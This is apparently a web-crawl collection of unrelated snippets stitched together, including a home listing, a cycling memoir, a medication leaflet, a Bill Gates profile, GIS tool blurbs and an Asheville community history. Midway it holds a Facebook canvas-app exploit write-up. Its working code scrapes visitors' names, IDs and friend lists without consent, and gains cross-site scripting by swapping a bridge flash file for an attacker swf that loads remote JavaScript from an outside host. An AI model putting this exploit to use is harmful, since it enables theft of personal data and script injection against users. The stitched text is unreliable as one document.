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Bing Crosby's Palm Springs Home, Estate of the Day
It's the time of year when we hear Bing Crosby crooning "White Christmas" You could celebrate your own Christmas inside Bing Crosby's estate in Rancho Mirage, California.
The home is on more than an acre of land in the Thunderbird Heights community. The five-bedroom home combines an Asian theme with a dose of with Hollywood memorabilia. Legend has it that President John Kennedy met with Marilyn Monroe here back in 1962 and one two-bedroom suite in the house is named the Kennedy Suite and decorated with images of the young president and Marilyn Monroe. The Kennedy suite has a full-sized living area and a private entrance. The master suite has a fireplace and a spa. Much of the home opens to an outdoor swimming pool and spa with fireplaces and a custom-designed putting green. This estate is on the market for $3.495 million dollars. The home is also available as a vacation rental. More images are available on the estate's photo website.

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The Schundler Company is the oldest and largest producer of perlite and vermiculite on the east coast of the United States, and maintains the largest and most comprehensive site about perlite and vermiculite on the internet.
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Mr. and Mrs. Laurence Klees, Williamsport, are observing their 60th wedding anniversary today, Feb. 12, 2012.
They were married at the American Embassy, Tokyo, Japan.
Mrs. Klees, the former Tetsuko "Judy" Yoshida, is a native of Sendai, Japan. She is the daughter of the late Mr. and Mrs. Harugi Yoshida. She graduated from Sendai High School, Sendai, in 1949. She retired from GTE, Williamsport, in 1993.
Mr. Klees, a native of Montoursville, is the son of the late Mr. and Mrs. George Klees Sr. He graduated from Montoursville Area High School in 1948. He served in the Army for 27 years through the Korean and Vietnam wars. He retired from the Army in 1975 and from Sears in 1990.
They are the parents of twin daughters, Bonnie Lenyard, Phoenix, Ariz., and Connie Stinson, Mountain Lake, N.J. There are four grandchildren.


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After the first, second and third innings, as my son's team finished batting and took the field, I had to remind him to go back from his position to get his glove off the bench. So eager was he to get out there and play, that the glove escaped his attention. The parents sitting near me all laughed. It was a knowing and empathetic laugh. There is a reason 7-year-olds don't run the world. After the bottom of the fourth, he remembered finally.
When I was his age, I was the same, all want and no focus, turning cart wheels at second base, diving for balls not-yet-hit, writing my own legend in the soft gray matter of my frontal lobe, while all around me the real world blundered on mundanely.
At seven and eight and then nine-years-old, I rode a red BMX, heavy as New Hampshire granite, blue pads on top tube, stem and handlebar. I jumped it off stout pieces of ply-wood braced against piles of brick or cinder block, a long driveway/runway and the sharpest take off I could muster. Evel Knievel with skinned knees and no helmet, tearing through the woods and launching off every bump in the dirt or curb cut I could find. It was a different time.
Adolescence put paid to those notions. BMX stopped being cool. I began to worry about my shoes. I put time into sports more respected by the fairer lot, and as the girls paid me more attention, I clamored for more and more of that attention. The old BMX grew cobwebs in the shed, and then found a new boy to carry through the woods and off ill-conceived ramps.
That's when my brother's Panasonic Villager, long-abandoned and far too large, came out of retirement. My teen ardor gave that bike a purpose, a means to visit young ladies even further afield than my suburban youth had dared contemplate. And ungainly as it was, I rediscovered riding on that bike. For a spell, in afternoons after school, I would ride it slowly, in figure eights, around the driveway. I could spend hours that way, spinning ever more slowly, fumbling at the beginnings of a track stand when I had no idea that was even a thing. This was meditative time, just me, quiet on the bike, feeling its shifting gravity under me and dancing the awkward dance at the end of youth.
What ended my youth, ultimately, was drugs and alcohol. They dragged me forcibly out of childhood with its warm, dry shelter of oblivious dependence into a crueler place, where I began to have to solve serious problems for myself. Just functioning on a (somewhat) socially acceptable level, was hard work. It didn't leave much time for aimless figure eights.
Eventually though, the bike came back, first as transportation, then as transformation. The thing is, I can't be on a bike very long before it draws me back into all the things that are good about being free and on the move and under your own steam. The bike didn't get me clean and sober. That would be too cute. But when I did finally get myself over the hump into sobriety, the bike was there to reshape my lifestyle and give me back some measure of health.
Suddenly, I was a cyclist. I rode to and from work. I bought a proper road bike and then a mountain bike. I bought shoes and pedals and kit. I woke up at the crack to hit the trails before work. I did long road rides with friends on weekends. People taught me how to ride in a group, how to climb more efficiently, how to sprint for town lines.
And then somehow work overtook it all. I had a sort of aimless career, by which I mean I didn't care what I did that much. I chased money and promotions for no reason I could name. I'm not even sure I knew I was doing it, just swept up in the flow of moving on and getting more and doing more and having more, until the bikes started to go dusty again. By then, most of my riding buddies had moved away. The whole thing lost its inertia, became inert.
I have never considered myself a suit-guy, but there I was, in a suit. You can sit in a lot of meetings in a lot of starchy dress shirts, wondering to yourself how you got there. I did. Hell, I even ran a lot of those meetings. Before I decided it was time to run FROM those meetings.
I don't know why I drift away from cycling periodically. I love riding, and I love the bike as a tool and as an object. I love what it does for me, and I believe in it as a lifestyle. I'm just easily distracted.
Parenthood finally put me back on the bike, again. This wasn't the prosaic ride of father and son through neighborhood streets. That happened, but more importantly I understood that time for fitness was no longer available. If I continued to drive or take the train to work, I would forgo the one good opportunity (two actually) I had to exercise each day, the commute.
I love commuting by bike, the rhythm of it, in and out, back and forth, each trip pumping out the endorphins you need to deal with being at work, or returning home to wailing children. And then, of course, as I said, I can't be on a bike very long before it draws me back in.
This cycling world is full of people who will tell you that they were born to ride, that it's the most important thing in their life, and that it defines them as a person. I don't know about all that. My experience has been uneven and non-linear, and I have learned better than to try to tell you much about my future.
I can say that the bike has always been there for me. Every time I wander off, I come back, and it's there, and all the revelations that come along with riding come to me, and I dive back in, headfirst. And then I'm riding with friends and on my own, during the week and on weekends. Asphalt and gravel and dirt. In the rain and the cold. Sometimes, because I am who I am, even I forget my gloves.
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To enhance security on campus and in the campus community, the University of Akron Police Department (UAPD) and the Akron Police Department (APD) have launched ZipTip, an anonymous crime tip reporting service. This is not an emergency service. If you have an emergency, dial 911 from a campus phone to reach UAPD or call 330-972-2911.
ZipTip is free, although standard text messaging rates may apply, based on your cell phone service carrier.
Messages from cell phone numbers are sent to a secure server where the number is encrypted and assigns an alias. No one will ever know what phone number sent a text message.
Messages from cell phones are sent to a secure server where the number is encrypted and assigned an alias. The alias will be used for two-way correspondence, and the associated phone number is not known by the University or TipSoft. You may be contacted by the police department for additional information, but the police department will only have the alias information and will not know your identity. The two-way communication permit the police the ability to gather additional details if they are necessary, but permits the tipster to remain anonymous.
Send a photo from your phone by including the keyword ZIPTIP in the message body.
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Athens, GA, resident Mathew Houck is the sole member of Phosphorescent. Houck's career began in 2000 when he released the Hipolit album under the name Fillup Shack. A tour of England and Spain followed, and while the European press drew comparisons to Bob Dylan and Will Oldham, the London Evening Standard declared him "the most significant American in his field since Kurt Cobain." Houck's first release as Phosphorescent, entitled A Hundred Times or More, appeared in 2003 on the Warm label. The 2004 EP The Weight of Flight was his last release for the label, as the 2005 full-length Aw Come Aw Wry landed on Misra. Two years later the release of Pride began a relationship with the Dead Oceans imprint. To Willie, Phosphorescent's tribute to Willie Nelson, arrived in early 2009, followed by the all new Here's to Taking it Easy in 2010. ~ David Jeffries
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The purpose of the North Georgia Relic Hunters Association (NGRHA) is to further the enjoyment of responsibly collecting Civil War relics, old bottles and coins as well as other items from years gone by. The NGRHA is dedicated to preserving Georgia history through responsible excavation.
The North Georgia Relic Hunter's Association was formed in 1972 in partnership with the City of Marietta Department of Parks and Recreation. The association has over 120 members from all walks of life. Meetings are held the first and third Wednesday of each month at 7:30 p.m. at the Train Depot Building across the street from The Southern Museum of Civil War & Locomotive History located at 2829 Cherokee St. Kennesaw, GA 30144 |


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MOMETASONE (moe MET a sone) is a corticosteroid. It helps decrease inflammation in your lungs. This medicine is used to treat the symptoms of asthma. Never use this medicine for an acute asthma attack.What should I tell my health care provider before I take this medicine?
They need to know if you have any of these conditions:- infection, like tuberculosis, herpes, or fungal infection
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This medicine is for inhalation through the mouth. Follow the directions on your prescription label. Make sure that you are using your inhaler correctly. Ask you doctor or health care provider if you have any questions. Rinse your mouth after each use. Take your medicine at regular intervals. Do not use it more often than directed. Do not stop taking except on your doctor's advice.If you are also using a bronchodilator inhaler, like albuterol, use that inhaler first. Wait 5 minutes or more before using this medicine
Talk to your pediatrician regarding the use of this medicine in children. While this drug may be prescribed for children as young as 4 years of age for selected conditions, precautions do apply.
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If you miss a dose, use it as soon as you remember. If it is almost time for your next dose, use only that dose and continue with your regular schedule. Do not use double or extra doses.What may interact with this medicine?
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Drinking and Drugs in Video Games
Parents and senators love to vilify violence in video games, but have largely ignored how they portray substance abuse. From cheap wine to futuristic stimulants, here's how 10 arcade avatars are getting twisted.
In Bioshock, you must survive in the ruins of a secret Ayn Rand–worshipping Art-Deco hell-hole of a city called Rapture. The once-bustling society was torn apart by a drug-fueled civil war, with both sides injecting themselves with drugs made from ADAM, a type of unstable stem cell. These serums would grant them varied special powers, but abuse caused insanity, dependence and genetic instability. Now, the only people left are the crazed and deformed "Splicers," who desperately seek out more ADAM by any means necessary. To have a chance at survival, you must inject your character to sometimes horrifying effect—your skin may dry and crack, leaking with lava; ice splinters might jut straight out of your hand; and one particularly grotesque concoction turns your arms into fleshy beehives. Is it worth the power? In this city, you don't have a choice.
Far Cry 3
While the game's focus is on killing human traffickers by the boatload—and breaking your yuppie friends out of a life of slavery—the tropical island's "pharmacist" offers the protagonist a few distractions from the stress. After the main character swallows some hallucinogenic pills, he'll traverse the island in a surreal stupor while having flashbacks that come and go in bits and pieces of character development. At times the visions are tranquil, slo-mo affairs, and at others they are confusing and disorienting—especially during battle. The player will—spoiler alert—face one of the main antagonists in a druggy haze, walking on a pathway of broken TV sets while fighting off visions of his opponent that seem to melt in and out of the darkness. The drugs definitely addle more than they assist, but make for an interesting player experience.
At the start of Haze, you're an armor-clad member of a high-tech private military contractor (PMC) whose soldiers utilize a performance-enhancing drug called "nectar" to sharpen their senses, steady their aim and pack more wallop into their punches, in order to more effectively kill the enemy—Latin guerrilla freedom fighters with whom you, the conscientious protagonist, will eventually realign yourself. How are a bunch of technologically outgunned rebels supposed to fight off drug-fueled PMC troops? In some heavy-handed symbolism, the answer is to use their own source of power against them. By sabotaging armor or stabbing troops with drug-coated knives, the rebels can induce an overdose that throws the enemy into a blind rage, causing them to turn on one another. Is this intended as a warning that drugs can make you hurt the ones you love? Probably not, but it sure is fun to watch.
Max Payne 3
Max Payne is a puntastically-named detective who saw his family get killed, got framed for murder and had to shoot through both the mob and the cops to clear his name. While the nigh-genocidal amounts of killing that video game heroes engage in typically goes unaddressed, all the carnage Max Payne has seen and done catches up to him in Max Payne 3. Between bouts of John Woo-ing up the bad guys in the streets of Sao Paulo, he's seen passing out with bottles of booze and painkillers in hand, dreaming of his younger days before waking up to his creaky, slovenly present self. Instead of healing himself with archetypal video game med packs, Payne pops pills to keep himself moving though the bullets. It's not a pretty picture, urging players to seek redemption for Payne.
As bad as the stigma of addiction is today, this 1988 arcade shooter shows just how far our society has come. After popping your quarters into Narc, you and a buddy will be ushered into the shoes of Max Force and Hit Man. Armed with a machine gun in one hand and a rocket launcher in the other, you'll take "zero tolerance" to new heights as you tear through hordes of barefoot junkies in the streets. Later, you'll face Rambo look-alikes against a backdrop of a marijuana grow-op called "Buds-R-Us," complete with hippie peace signs and posters featuring ganja leaves on tie-dyed backgrounds. Occasionally a baddie will surrender and allow the player to collect them for extra points, but given the game's fast pace it's mostly a waste of time to arrest them. The take-away is, "Don't do drugs—meet them with totally awesome lethal force!"
Fallout: New Vegas
Forget hoarding cash and gold—after nuclear war leaves society in shambles, cigarettes, booze and drugs will be the name of the game. And if shooting up will give a leg up against mutant bandits or keep fallout sickness at bay, who in post-apocalyptic America would refuse a hit? Maybe those who know that the withdrawal symptoms aren't worth the temporary rush. The drugs of New Vegas will make the your character faster, stronger and smarter for a few minutes—but go long enough without them and you'll find yourself becoming sluggish and unable to communicate effectively with fellow survivors. Before long, you'll be rummaging through people's belongings (and, quite likely, corpses) like a fiend for the next hit. Or you can visit a doctor who will cure your addiction instantly—this is a video game, after all.
Papo y Yo
At first glance, this colorful puzzle game might look out of place on this list, but the entire game is an allegory for addiction. Papo y Yo takes place in a world dreamt up by the child protagonist to escape his alcoholic father. His traveling companion in this world is his giant pink monster pal, who eagerly helps him—until it gets hold of a frog. This monster is addicted to eating them even though they make the monster fly into a burning rage, hurting the player if he or she doesn't get away fast enough. The game's creator, Vander Caballero, said he drew upon memories of he and his siblings growing up in a Brazilian slum with an alcoholic father. "We knew that at night when my father was getting back drunk, it was hell," Caballero said. "We would have to hide." But, just like the monster, while his father could be scary, he was also loving, helpful and protective.
The Elder Scrolls V: Skyrim
Like most things in the fantasy realm of Skyrim, how much you come into contact with the narcotic "skooma" is up to you. You can ignore it, sell it, steal it or even participate in a raid on it to increase your notoriety with the authorities. You can drink it as well, but long-time fans of the Elder Scrolls series know that skooma's been toned down with each iteration of the game. Before, players could abuse it, sacrificing intelligence for a much-needed boost to your walking speed. But in the latest title in the series, Skyrim, consuming it grants no real positive or negative effects, leaving dissatisfied fans to speculate the game's developers feared glamorizing drug use. However, in an later expansion, players could drink a more potent version of skooma and pass out—only to wake up enslaved by vampires.
Leisure Suit Larry in the Land of the Lounge Lizards
Back in the late '80s, a company called Sierra On-Line was making awesome graphic adventure computer games, including the iconic King's Quest and Space Quest series. More infamous was the louche Leisure Suit Larry series, starring Larry Laffer, a schlubby denizen of "Lost Wages" (aka Las Vegas) who's forever trying (and failing) to get the girl. The first game opens in a bar called Lefty's, and visits a liquor store, a casino, seedy motels and more. In one sequence, Larry buys a gallon of "One-Buck Chuck" at a liquor store, and hails a taxi. But no sooner does Larry climb into the back seat than the cabbie swipes his wine, guzzles it down, and promptly crashes the car, killing our hero. The lesson being: Always drain your bottle before getting in the cab.
Grand Theft Auto IV
The Grand Theft Auto series has been the poster child for What's Wrong With Video Games for more than a decade, portraying a series of homicidal anti-heroes shooting and carjacking their way across US city stand-ins. But the games also are weirdly moral—you shoot people and the cops chase you, for example—and this includes drinking. When GTA IV protagonist Niko Bellic, an Eastern European mercenary, bellies up to a Liberty City watering hole, he gets plastered—and when he stumbles outside, the "camera" is woozy, the game controller shudders, and you have trouble keeping Niko upright. If you get behind the wheel, it's even worse, as it's nearly impossible to stay on the road without smashing into streetlamps, cars and pedestrians.
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Facebook allows developers to build applications using the "Canvas". Because the canvas apps run on the facebook domain they use a "Sandbox". This is a subset of HTML called FBML and a limited javascript set called FBJS. The sandbox is basically used to try prevent an attacker form being able to run malicious code.
Facebook also introduced Public Canvas Pages.
"Facebook now offers applications the ability to serve canvas pages to users not currently logged in to either Facebook or the application, or the user hasn't agreed to the Terms of Service for the application."
This means with a successful attack an app could exploit all users not just those who have already joined our facebook app.
The Exploit
FBJS allows us DOM Element Traversal with functions like getElementById and getChildNodes. This allows us to get info from any object in our canvas sandbox, even those rendered by facebook.
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Lets say we use a "Public Canvas Page", and want want to get info about users who have not yet added our app.
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 <fb:request-form action="start.htm" method="POST" type="sample network" content="woot"> <fb:multi-friend-selector showborder="false" actiontext="anything" max="20" /> </fb:request-form>

We use 2 FBML tags "fb:profile-pic", and "fb:multi-friend-selector". FBJS does not allow us to access these elements directly, but because we wrap them in a div that we created we can use the element traversal functions:
wai = document.getElementById('who_am_i'); // get the profile picture link object p_pic = wai.getLastChild(); // the href of the photo is actually the users ID uid = p_pic.getHref().match(/(\d+)$/); uid = uid[1]; // Get the actual IMG node img = p_pic.getChildNodes()[0]; // The title of the img is the full name of the user u_name = img.getTitle(); // why not get the url of the photo as well photo = img.getSrc(); log('User Info:'); log(' Name: '+u_name); log(' User ID: ' + uid); log(' Photo: ' + photo+"\n\n"); // This element may not be populated yet by facebook, so lets wait for it to be ready do_when_ready(document.getElementById('all_friends'), 'ul', function(items){ return; var friends = []; // the 4th ul element from multi-friend-selector is our friends nodes = items[3].getChildNodes(); for(i=0,l=nodes.length;i<l;i++){ // the first element is a link and its title is the name of each friend friends.push(nodes[i].getFirstChild().getTitle()); } // lets see what we got. log('Your Friends:'+"\n----------"); log(friends.join(',')); }); // this is just a helper function to let us know when an element is loaded into dom // facebook does not provide us with any sort of document.onload event function do_when_ready(object, element, _callback){ var interval = setInterval(function(){; items = object.getElementsByTagName(element); if(items.length > 0){ clearInterval(interval); try{ _callback(items); }catch(e){}; } },100); }
The XSS
Reading information is one thing but we really want full control. Facebook does allow us to use flash with the Fb:swf tag, but they render the embed tag for us and always include the allowscriptaccess="never"
to prevent unwanted script access from flash. They do however provide: Fb:fbjs-bridge. This allows you from flash to comunicate with FBJS and FBML.
Fb:fbjs-bridge renders its own embed tag, and because it is controlled by facebook, and needs to communicate with javascript it has the attribute allowscriptaccess="always"
The problem is this item is rendered inside our canvas area therefore the attack mentioned above can be used to actually change the src (with setSrc which i assume is meant for IMG tags) of the "bridge" flash to an swf file owned by us giving us unrestricted script access.
/* Use this FBML
 <fb:fbjs-bridge/>
 */ // loop over our dom until we have an embed tag ready. do_when_ready(document.getRootElement(), 'embed', function(items){ // set the source to the bridge to our remote url items[0].setSrc('http://m-austin.com/xss.swf'); // in some browsers we need to re-attach the swf object to the page for it to render again. document.getElementById('swfContainer').appendChild(items[0]); });
/* xss.as (m-austin.com) >$ mxmlc -default-size=1,1 xss.as */ package { // no special packages needed to organize this single file project import flash.display.Sprite; // the application is built upon Sprite import flash.external.ExternalInterface; public class xss extends Sprite // must match the file's name { public function xss() // program execution begins here { // the remote url to load var url = "http://m-austin.com/xss.js"; // attach the remote script to the page ExternalInterface.call('eval',"document.getElementsByTagName('head')[0].appendChild(document.createElement('script')).src='"+url+"'"); } } }
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- NAME: Bill Gates
- OCCUPATION: Entrepreneur
- BIRTH DATE: October 28, 1955 (Age: 58)
- EDUCATION: Lakeside School, Harvard College
- PLACE OF BIRTH: Seattle, Washington
- Full Name: William Henry Gates III
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Over time, the company's stock increased in value and split numerous times. In 1987, Bill Gates became a billionaire when the stock raised to $90.75 a share. Since then, Gates has been at the top, or at least near the top, of Forbes' annual list of the top 400 wealthiest people in America. In 1999, with stock prices at an all time high and the stock splitting eight-fold since its IPO, Gates's wealth briefly topped $101 billion.
Bill Gates never felt totally secure about the status of his company. Always having to look over his shoulder to see where the competition was, he developed a white hot drive and competitive spirit. Gates expected everyone in the company to have the same drive and dedication. One story goes that one of Gates's assistants had come to work early to find someone sleeping under a desk. She considered calling security or the police when she discovered it was Gates.
Bill Gates's intelligence allowed him to be able to see all sides of the software industry—product development and corporate strategy. When analyzing any corporate move, he would develop a profile of all the possible cases and run through them, asking questions about anything that could possibly happen. His confrontational management style became legend as he would challenge employees and their ideas to keep the creative process going. An unprepared presenter would hear, "That's the stupidest thing I've ever heard!" from Gates. But this was as much a test of the rigor of the employee as it was Gates's passion for his company. He was constantly testing the people around him to see if they were really convinced of their ideas.
Outside the company, Bill Gates was gaining a reputation as a ruthless competitor. Several tech companies led by IBM began to develop their own operating system called OS/2 to replace MS-DOS. Rather than give into the pressure, Gates pushed ahead with the Windows software, improving its operation and expanding its uses. In 1989, Microsoft introduced Microsoft Office which bundled office productivity applications such as Microsoft Word and Excel into one system that was compatible with all Microsoft products. The applications were not as easily compatible with OS/2. Microsoft's new version of Windows sold 100,000 copies in just two weeks and OS/2 soon faded away. This left Microsoft with a virtual monopoly on operating systems for PCs. Soon the Federal Trade Commission began to investigate Microsoft for unfair marketing practices.
Microsoft faced a string of Federal Trade Commission and Justice Department investigations throughout the 1990s. Some related allegations that Microsoft made unfair deals with computer manufactures who installed the Windows operating system on their computers. Other charges involved Microsoft forcing computer manufactures to sell Microsoft's Internet Explorer as a condition for selling the Windows operating system with their computers.
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China has raised its 2015 target for solar-electricity capacity, giving a shot in the arm to its solar companies, many of which are struggling due to industry overcapacity, slow global demand and overseas trade disputes.
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Solar Industry Responds to Arizona Public Service Filing on Net Energy Metering
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The Solar Energy Industries Association (SEIA), the national trade association for the solar energy industry, announced today that it has officially merged with the Solar Alliance, an advocacy organization committed to establishing solar policies at the state level. Effective immediately, the Solar Alliance will operate under the SEIA brand in an effort to present a unified solar industry voice in all advocacy efforts at the state level. Carrie Cullen Hitt, president of the Solar Alliance, is now Vice President for State Affairs at SEIA, and the Solar Alliance team joins Hitt as part of SEIA's new department for State Affairs.
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Rhone Resch, president and CEO of the Solar Energy Industries Association (SEIA), released the following statement today on the progress of the Obama Administration, and Secretary of the Interior Ken Salazar in particular, in developing utility-scale solar energy projects on public lands this year.
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text: Rowan discusses various aspects of the civil rights movement. Rowan believes that the traditional black leadership organizations are not dead, and that there is a need for associations that will look out for the legal aspects of the civil rights movement. Rowan discusses the difficulty in making a distinction between the civil rights movement in the North and in the South. He describes the feeling of regional persecution throughout the South due to the prejudices of the northern states. Rowan provides his views of Lincoln and Jefferson, and concludes with a discussion about the political power African Americans have.


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The JUMP Pilot Project OpenJUMP is a community driven fork of JUMP the "Java Unified Mapping Platform" GIS software. The original JUMP was developed by Vivid Solutions, released under GPL2 in 2003 and discontinued in 2006. During 2004 already some enthusiastic developers joined together to enhance further the features of JUMP. They launched an independent development branch called OpenJUMP. The name gives credit to the original JUMP development, and at the same time describes the objectives of this project to be fully open to anyone wanting to contribute. These days OpenJUMP is developed and maintained by volunteers around the globe.
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Viking GPS data editor and analyzer Viking is a free/open source program to manage GPS data. You can import, plot and create tracks, routes and waypoints, show OSM, Terraserver, Bing Aerial and other maps, geotag images, see real-time GPS position, get geocaches, control items, etc. It is written in C & the GTK+2 toolkit.
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GeoNetwork - Geographic Metadata Catalog A web based Geographic Metadata Catalog for data description and discovery. It implements international standards (e.g. ISO19115/19139, Z39.50, CSW 2.0, OGC). It originates from the United Nations and is used by many governments as geoportal software
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p.mapper A PHP and JavaScript Web mapping framework and demo application for MapServer (see http://mapserver.gis.umn.edu) based on MapScript/PHP.
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CatMDEdit - metadata editor CatMDEdit is a metadata editor tool for describing resources, mainly geographic information. Developed by IAAA (University of Zaragoza) and GeoSpatiumLab S.L., sponsored by IGN Spain. Technical details: Java, XML, multiplatform, multilingual.
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XASTIR Real-time tracking & messaging of stations via radio/internet APRS data streams, w/125 map formats supported. Linux/FreeBSD/Solaris/MacOSX/Windows in any of 7 languages. Can also be used for mobile mapping w/GPS. MAILING LISTS ARE AT: PROJECT->WEB SITE.
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"All this used to be a wooded area," he says, motioning toward a line of houses adjoining the neighborhood's community garden. "The whole place used to be like a little forest. I remember, growing up, I would play out here, only coming back to eat strawberry ice cream. We'd play with little army men and dump trucks."
In its nearly century-long history, West Asheville's Burton Street community, now tucked up against Interstate 240, has faced many challenges, including economic hardship, drug activity, a lack of basic services and major road construction.
"The people will rally around and come together," says longtime resident Vivian Conley. "We've had to struggle for everything we've gotten."
The latest challenge this community faces is the planned demolition of a number of houses to make way for the I-26 connector (exactly how many depends on which plan is eventually adopted). Recently, the state Department of Transportation announced yet another construction delay, leaving frustrated residents still in the dark.
"We know that congestion is a problem; we know [an I-26 connector] has to be done," she says. "But this uncertainty keeps anything from being done. It keeps you in limbo as far as your life is concerned."
From her house at 91 Burton St., one can hear the sound of cars rushing by on the interstate. Under every plan proposed so far, Conley's house will be demolished.
But the residents also speak of a spirit of perseverance and mutual support that reaches back to famed civic leader E.W. Pearson, known in his time as the "Black Mayor of West Asheville."
"From the very beginning, Burton Street was created by dedicated, hard-working people," notes Barton. "I think if everyone put forth the effort that [Pearson] did, West Asheville could be transformed. The beginning of it was so rich, there's a good seed planted in this area."
West Asheville pioneers
When Pearson, a Spanish-American War veteran and self-educated entrepreneur, founded the community in 1912, the area was nearly wilderness.
Things changed rapidly, though, as people started moving in. A school was built, and Pearson opened a store. He also organized the first Buncombe County Agricultural Fair in 1914. The event would be held every year until his death in 1946.
But Pearson's energy and drive didn't stop there: He founded the Asheville Royal Giants, a semi-professional black baseball team that played in Pearson Park, since taken over by commercial development. Pearson also founded the Asheville chapter of the NAACP and served as a leader in a multitude of civic organizations.
In the beginning, there wasn't even a Burton Street. Originally dubbed Buffalo Street, the name was changed in the late 1920s to honor Asheville founder John Burton.
Woods and a creek ran through the area where Patton Avenue now runs. Residents grazed livestock and tended their own small farms.
The Great Depression hit Asheville hard, but once again, Burton Street survived.
A 1963 report the Southern Association of Colleges and Schools concerning Burton Street Elementary School sheds some light on the neighborhood's character at that time.
"A survey shows that 60 percent of the parents are high-school graduates and 10 percent have had at least one year of college training," the report reads. "In recent years the parents have shown an unusual interest in the academic achievement of their children. ... Eighty percent of the parents own their own homes."
Conley recalls those days vividly. "When I grew up, you knew everybody that was out here -- everybody that was on every street, next door, all around you. Now you hardly know who's next door," she says with a laugh. "The whole top of this street, there's only one house still here from when I was growing up. You wouldn't even lock the doors unless you were going on vacation."
In the late 1950s, Patton Avenue cut a swath through the community, and 20 years later, the construction of I-240 took a similar toll.
Ironically, notes Conley, during that same period, her mother had to fight to get neighborhood streets paved.
"The only street out here that got paved -- and you can see the only one now that has a sidewalk -- is Burton Street," she said. "Most of the other streets took years. My mother worked for years: She'd go back to the city again and again asking for paved roads. Anything we've asked for, we've been the last to get."
Integration left the Burton Street School sitting vacant, and Conley's mother, she recalls, had to fight again to get the funds to turn it into the Burton Street Community Center, which today serves as a social gathering place.
"Come out here for a funeral and we can feed the world," she says with a laugh. "We rally together there anytime there's something in the community."
Born in the area in 1967, Barton moved back in 2001, only to find drug activity rampant in his old neighborhood.
"It was like a nightclub: People were out there selling dope, running to people's cars," he recalls. "Open-air drug activity where people don't even care -- a lot of garbage. Growing up as I had and seeing a resemblance of the inner city with this open-air drug traffic, I said, 'Oh no, not here.'"
Conley, who moved back around the same time to care for family members, also saw the change.
"The drug problem started with other people coming into the community, and then some of the children here got pulled into selling drugs," she remembers. "We had some that actually lived in the community selling drugs -- they'd never seen that kind of money before. There would be families who would pray every day that their child would get out of the drug trade, but it was groceries; it was money.
"The drugs were right there on the corner; you couldn't even drive up and down the street. I feared for my parents' life because they were so elderly."
But Conley wasn't ready to surrender. She and other neighborhood residents kept calling and pressuring the police "on a daily basis," and over time, she says, things began to change.
"I said, 'If you don't get someone out here and something happens to my parents, I'm going to hold you responsible,'" she relates. "Pretty soon they started getting them out of here, and it turned back into the West Asheville I knew."
The community applied for a Weed and Seed grant from the federal government that provided for both increased policing and other neighborhood improvements, including renovating the community center and posting a sign at the entrance to the area noting its "rich history."
"When you're in the neighborhood, you've got to start being an example," emphasizes Barton, an educator who works with at-risk youth. "When you do that, it sort of spreads. When other people see you picking up trash, for example, they get motivated to do something, especially the young people. Our young people need to see us out there trying to do things right."
Change meant throwing some people out of the community as arrests were made, but Conley and others moved forward.
"It affected some local people," she concedes, adding, "We did not want that here. It wasn't good for our community. It wasn't safe for our community."
Held hostage
Having taken on the drug trade and won, however, the community is now faced with looming road construction.
Having to move, notes Conley, will pose a problem for "people who were born here, married here, raised children here, retired here." But the uncertainty, she says, is even worse.
"We shouldn't be held hostage, and that's what I feel like: We're being held hostage. This community has already been hit hard by road construction; this will be the third time."
Still, she sees new arrivals, from many different racial and social backgrounds, joining the community.
"Even with the different races, we get along just fine," she says with a smile. "There were over 200 people that came out to the opening of the community center -- of all races, all of us in fellowship."
Barton, too, sees opportunity as well as challenges.
"I-26, just like the drugs of the past, it's given us a reason to talk to each other, because we have a similar issue that's going to affect all of us," he says. "I think because of that, it's going to make the community tighter and greater. We just have to keep building on that."
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SS9 Kafrain 1 17.20km 08.51
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SS15 Bahath 1 12.53km 08.50
SS16 Shuna 1 15.23km 09.33
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SS19 Bahath 2 12.53km 12.41
SS20 Shuna 2 15.23km 13.24
SS21 Baptism Site 2 10.83km 14.07
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